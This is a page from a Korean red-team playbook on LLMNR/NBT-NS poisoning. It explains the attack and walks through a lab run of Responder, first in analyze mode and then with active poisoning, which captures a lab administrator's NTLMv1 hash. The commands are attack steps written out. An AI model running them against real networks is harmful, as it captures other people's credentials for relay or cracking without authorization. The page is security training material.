📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  • 개념
  • 문제점
  • 공격
  • 전제 조건
  • 실습
  1. 계정 정보 탈취 (Credential Access)

LLMNR/NBT-NS 포이즈닝

Previous비밀번호 스프레이 공격NextNTLM 릴레이 (NTLM Relay)

Last updated 2 years ago

LLMNR/Nbt-NS Poisoning (포이즈닝) - 피해자 호스트의 이름 변화 LLMNR/Nbt-NS 브로드캐스트 요청을 받았을 때 공격자가 LLMNR/Nbt-NS 브로드캐스트 요청에 대답하는 공격이다. 피해자 호스트는 공격자 호스트를 자신이 찾던 호스트로 착각하게 되어 Net-NTLM 인증 트래픽을 공격자에게 보낸다.

개념

윈도우 워크스테이션과 서버 운영체제에는 LLMNR (Link-Local Multicast Name Resolution)과 Nbt-NS (Netbios Name Service) 라는 레거시 브로드캐스트 (broadcast) 이름 변환 (Name Resolution) 서비스들이 존재한다. 윈도우에서 HTTP나 내부망 쉐어, IP 주소등을 검색하거나 접근하려고 한다면 다음과 같은 우선순위를 기반으로 이름 변환을 시도한다.

  1. IPv6 - DNS

  2. IPv4 - DNS

  3. LLMNR, Nbt-NS, mDNS 등의 레거시 브로드캐스트 이름 변환 서비스

예를 들어 윈도우에서 쉐어를 찾으려고 탐색기에서 \\fileserver.choi.local\share 를 검색하려다가 실수로 \\wronghost.choi.local\share 를 검색했다고 가정해보자. 그렇다면 현재 호스트는 IPv6 -> IPv4 -> LLMNR, Nbt-NS, mDNS 등의 순서대로 이 호스트를 찾으려고 한다.

문제점

문제는 LLMNR, Nbt-NS, mDNS 가 옛날에 만들어진, 보안을 생각하지 않고 만든 브로드캐스트 기반의 이름 변환 프로토콜이라는 것이다. 브로드캐스트이기 때문에 같은 서브넷내의 모든 호스트들이 "wronghost.choi.local 이신 호스트 대답 좀 해주세요" 라는 요청을 듣게 된다.

레거시 브로드캐스트 프로토콜들은 호스트/사용자 인증을 거치지 않기 때문에 공격자 호스트가 "wronghost.choi.local 찾으세요? 그거 저니까 저한테 사용자 인증 트래픽 보내주세요" 라고 대답할 때 피해자 호스트는 아무런 의심을 하지 않고 Net-NTLM 인증 트래픽을 공격자에게 보내게 된다.

공격

LLMNR/Nbt-NS 포이즈닝 공격을 통해 피해자 호스트로부터 받은 Net-NTLM 사용자 인증 트래픽은 다음과 같은 공격에 사용된다.

  • NTLM 다운그레이드 공격 - Net-NTLMv1을 요청하거나 받은 Net-NTLMv1을 암호학적 공격으로 NTLM 해시로 다운그레이드 한 뒤 크래킹하는 공격

  • NTLM 릴레이 공격 - 받은 Net-NTLM 인증 트래픽을 다른 호스트에게 릴레이 하는 공격

  • RBCD (Resource Based Constrained Delegation) - TODO

LLMNR/Nbt-NS 포이즈닝과 NTLM 릴레이 공격을 하면 피해자 호스트에서 피해자 유저의 사용자 NTLM 인증 트래픽을 SMB 프로토콜 기반의 Net-NTLMv1 혹은 Net-NTLMv2 형식으로 받을 수 있다. 이 사용자 인증 트래픽은 위 공격들에 사용되며, 해당 공격들은 다른 페이지에 따로 서술한다.

전제 조건

  • 현재 서브넷과 DNS로 이름 변환이 불가능한 호스트의 서비스 (대부분 SMB) 를 이용하려 피해자 호스트에서 피해자 유저가 검색한다.

    • 실수로 오타 (ex. flieserver), 옛날에 만들어뒀던 scheduled task, 호스트 이름이 바뀌었을 때, 등

  • 피해자 호스트가 LLMNR/Nbt-NS 를 사용하도록 설정되어 있다 (윈도우 비스타 이후 기본적으로 활성화되어 있다).

실습

Responder 툴을 이용해 서브넷에서 LLMNR, Nbt-NS, mDNS 트래픽을 수동적으로 듣고만 있는다

# "Analyze" 모드를 이용, 포이즈닝을 하지않고 트래픽만 확인 
python3 Responder.py -I eth1 -v -A 

<...>
[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.
[Analyze mode: NBT-NS] Request by ::ffff:192.168.40.150 for wronghost, ignoring 
[Analyze mode: LLMNR] Request by ::ffff:192.168.40.150 for wronghost, ignoring

트래픽을 듣고 있으니192.168.40.150 호스트가 Nbt-NS와 mDNS를 이용해 wronghosts.local 이라는 호스트를 찾고 있다.

이제 능동적으로 포이즈닝 공격을 진행해 피해자 호스트로부터 NTLM 사용자 인증 트래픽을 받아온다.

# ESS (SSP) 해제 시도와 함께 포이즈닝 공격 시작 
python3 Responder.py -I eth1 -v --disable-ess

<...>
[*] [MDNS] Poisoned answer sent to fe80::c092:c261:488a:c15c for name wronghost.local
[*] [LLMNR]  Poisoned answer sent to ::ffff:192.168.40.150 for name wronghost 
[SMB] NTLMv1-SSP Client   : fe80::c092:c261:488a:c15c                                                            
[SMB] NTLMv1-SSP Username : CHOI\Administrator                                                                   
[SMB] NTLMv1-SSP Hash     : Administrator::CHOI:06B1649C5 <...>

피해자 호스트 192.168.40.150 가 wronghost.local 이 공격자 호스트인줄 알고 NTLM 사용자 인증을 보내왔다. 이제 이 Net-NTLMv1 해시를 가지고 NTLM 릴레이, 다운그레이드, RBCD 공격을 할 수 있게 됐다.

🎭
IPv4 -> Nbt-NS, mDNS, LLMNR